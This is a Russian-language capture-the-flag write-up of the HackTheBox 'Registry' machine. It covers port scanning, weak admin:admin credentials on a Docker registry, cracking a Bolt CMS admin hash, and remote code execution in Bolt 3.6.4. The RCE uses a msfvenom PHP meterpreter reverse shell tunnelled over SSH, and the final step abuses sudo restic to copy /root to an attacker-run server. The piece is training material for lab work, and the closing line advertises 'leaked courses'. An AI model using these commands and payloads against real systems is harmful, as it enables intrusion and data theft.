![image](https://habrastorage.org/webt/ku/c4/1b/kuc41bvkb4xxv59dovgzsisv3v4.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье повозимся с docker regisrty, эксплуатируем RCE в CMS Bolt, а повышаем привилегии с помощью программы для резервного копирования Restic.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.159, который я добавляю в /etc/hosts.
10.10.10.159 registry.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000
![image](https://habrastorage.org/webt/ny/xa/ma/nyxamal7y9ew_dpi5akjpl5tyzg.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A registry.htb -p22,80,443
![image](https://habrastorage.org/webt/vm/ud/24/vmud24vtv0bcunzuh9b6esvsuxi.png)
На хосте открыто 3 порта, при этом сертификат (443 порт) предназначен для docker.registry.htb. Добавим его тоже в /etc/hosts.
10.10.10.159 docker.registry.htb
При побращении к registry.htb нас встречает приглашение nginx, а к docker.registry.htb — пустая страница.
Давайте переберем директории с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
![image](https://habrastorage.org/webt/fx/fv/nu/fxfvnuovslhkdv_q6eb9wrj_b8w.png)
Backup.php нам ничего не дает, в bolt расположен сайт с CMS Bolt, а в install лежит какой-то файл, скачаем его.
wget http://registry.htb/install/ -O ind
И узнаем, что это за файл.
![image](https://habrastorage.org/webt/vs/bu/te/vsbutecudplxwlabodtofurin9q.png)
Мы можем сразу прочитать “gzip compressed data”.
![image](https://habrastorage.org/webt/ke/b4/mx/keb4mxbqztkxwh9vjn_suzpguey.png)
Таким образом получаем сертификат, и ссылки на справочную документацию по docker.
В случае с другим доменом, добавим параметр -k, чтобы пропустить проверку сертификата.
gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
![image](https://habrastorage.org/webt/6p/6w/cq/6p6wcqrbxerej8qqtctpe2se-8q.png)
Перейдем теперь в директорию v2, и нас встречает аутентификация.
![image](https://habrastorage.org/webt/h0/b6/fs/h0b6fsfizb1sv77nhk6t7xetooq.png)
И самая простая комбинация admin:admin дает нам доступ. На хосте работает docker regisrty, поэтому, как следует из следующего пояснения, посмотрим его репозитории по следующему адресу: docker.registry.htb/v2/_catalog.
![image](https://habrastorage.org/webt/m7/v2/07/m7v207tovacegtiksw-qvarlzq8.png)
И мы находим один репозиторий.
![image](https://habrastorage.org/webt/9l/wd/t1/9lwdt1d1_edu48fyfn_5q3pjnm8.png)
Давайте установим docker и обратимся к документации по установке сертификата.
![image](https://habrastorage.org/webt/_3/bd/qt/_3bdqte29r62x5e3dns-2ysl1jg.png)
Перейдем в директорию /etc/docker и добавим сертификат из архива.
sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt
![image](https://habrastorage.org/webt/_j/bi/wq/_jbiwqz4iuuw9k0t4la1jpyxbi4.png)
Теперь залогинимся в docker.
![image](https://habrastorage.org/webt/o-/jm/kn/o-jmkn-kfaxayrq36zynajzuht4.png)
Теперь загрузим образ.
sudo docker pull docker.registry.htb:443/bolt-image:latest
![image](https://habrastorage.org/webt/he/_h/5n/he_h5n24wtautt0mppzha9rbxde.png)
И запустим.
sudo docker run -it docker.registry.htb:443/bolt-image:latest
И первым делом смотрим на SSH. Благо присутствует ключ, а также конфиг, из которого становится ясно, что наш пользователь — bolt.
![image](https://habrastorage.org/webt/gn/4y/qr/gn4yqrdgrku7_vud2awqyqg4kee.png)
Но вот дело в том, что ключ зашифрован. Это значит что при подключении у нас спросят пароль. Результат приносит поиск в файлах строки “pass”.
grep -i -r "pass" ./etc/
![image](https://habrastorage.org/webt/qu/ju/kt/qujuktblbn-7s4zxnpx47ei31b4.png)
В данном скрипте спрашивается пароль для расшифровывания ключа. И в нем же дается ответ.
![image](https://habrastorage.org/webt/kv/j6/jh/kvj6jhhgdsngxvqrjmzzdsoj44u.png)
Подключимся по ssh с нашим ключом.
![image](https://habrastorage.org/webt/c-/mf/hv/c-mfhvkbrsvducli9hs39bjodke.png)
На хосте был файл backup.php, давайте глянем, что в нем.
![image](https://habrastorage.org/webt/pf/kw/1u/pfkw1ulx5mmj806jflvmiyqf3uu.png)
Так используется sudo, и видимо без пароля. Но для bolt требуется пароль.
![image](https://habrastorage.org/webt/2q/lm/kn/2qlmkntxlzqimzusjnwoi1wzhb8.png)
Это значит, что нам нужно получить пользователя службы. Так как используется CMS Bolt, мы можем получить доступ к sqlite базе данных. Скачаем ее.
scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
Начнем работу с базой.
sqlite3 bolt.db
Посмотрим таблицы.
![image](https://habrastorage.org/webt/zu/iw/oe/zuiwoebisxnunz0d5pjb-wycyxi.png)
И получим записи из таблицы bolt_users.
![image](https://habrastorage.org/webt/w_/qa/is/w_qaissj8uswtfezdd6nz3riblu.png)
Таким образом, мы имеем хеш админа. Переберем его с помощью JTR.
![image](https://habrastorage.org/webt/uc/ea/pe/uceapea5p2pcxc_kg1ne4es3qa0.png)
Теперь авторизуемся в Bolt как admin. И наблюдаем версию 3.6.4.
![image](https://habrastorage.org/webt/1s/ve/ka/1svekawyh3_rnghyvvb9d4vp0ci.png)
Для этой версии есть эксплоиты.
![image](https://habrastorage.org/webt/a2/mj/z2/a2mjz2xh-fe18eidqwpa-ylanvi.png)
Уязвимость заключается в том, что мы можем добавить в конфиг нужное нам расширение файла для загрузки, а потом загрузить файл. Давайте сделаем php файл с нагрузкой (скажу наперед, что просто бэкконнект шел прокинуть не получается поэтому был проброшен 4321 порт:
ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321
).msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
И запустим листенер.
![image](https://habrastorage.org/webt/lu/aa/-v/luaa-vi3w6guqhtvht8my0dmujk.png)
Пройдем в Configuration -> Main Configuration и добавим расширение php для возможности загрузки файла.
![image](https://habrastorage.org/webt/ws/zy/_h/wszy_hfyzq2bxgsx95mu0hahobw.png)
Далее пройдем в File Management -> Upload files и добавим файл. После обращения к нему, увидим подключение.
![image](https://habrastorage.org/webt/9f/ou/g8/9foug8uznzvqkjpsvtntw3tazyw.png)
Запустим bash оболочку, также наблюдаем, что мы работаем от имени пользователя службы.
![image](https://habrastorage.org/webt/sa/j7/vl/saj7vlnonjzuayhairfozmefney.png)
Проверим sudo, наблюдаем, что команду из backup.php можно выполнять под sudo без пароля.
![image](https://habrastorage.org/webt/ru/hg/vj/ruhgvji1shs1rodgjg6kj48cxig.png)
Restic — это написанная на Golang программа для резервного копирования. Так как мы можем сделать резервную копию под sudo, мы можем скопировать всю директорию root. Для начала прокинем 8000 порт.
ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000
Установим и запустим rest-server (на 8000 посту без аутентификации).
![image](https://habrastorage.org/webt/jb/1j/fr/jb1jfrfjfy4mdw6jpvjtdaf1gtu.png)
Давайте подключимся и инициализируем резервную копию (restr1).
![image](https://habrastorage.org/webt/z1/ic/ss/z1icssxfsot4h8tilwjgzc6eexw.png)
А теперь создадим резервную копию директории root.
![image](https://habrastorage.org/webt/vo/rt/ua/vortuadpepq7f3j4qgnf3s20mkk.png)
Резервная копия сохранена на локальной машине. Посмотрим все сохраненные файлы. Находим ключ SSH.
restic -r /tmp/restic/restr1/ ls latest
![image](https://habrastorage.org/webt/x1/1v/79/x11v7979eyxritulmh7xs7ccxni.png)
Восстановим его.
![image](https://habrastorage.org/webt/sm/8n/kl/sm8nkl04kcfcxfefc06cudmqino.png)
Подключимся.
![image](https://habrastorage.org/webt/er/vi/za/ervizamsygwscdmnv03v1q900ak.png)
У нас полный доступ в системе.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.